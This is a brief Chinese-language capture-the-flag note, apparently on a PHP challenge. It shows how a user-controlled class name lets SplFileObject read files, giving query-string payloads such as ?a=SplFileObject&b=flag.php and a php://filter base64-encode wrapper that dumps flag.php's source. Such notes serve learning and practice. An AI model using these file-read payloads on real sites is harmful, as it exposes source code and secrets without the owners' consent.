SplFileObject

读取文件
?a=SplFileObject&b=flag.php
但SplFileObject输出的仍是迭代器,只读取一行
若想读取完整文件内容,则须使用foreach遍历

flag56ea8b83122449e814e0fd7bfb5f220a.php
或者
由文件名读取联想利用伪协议
?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php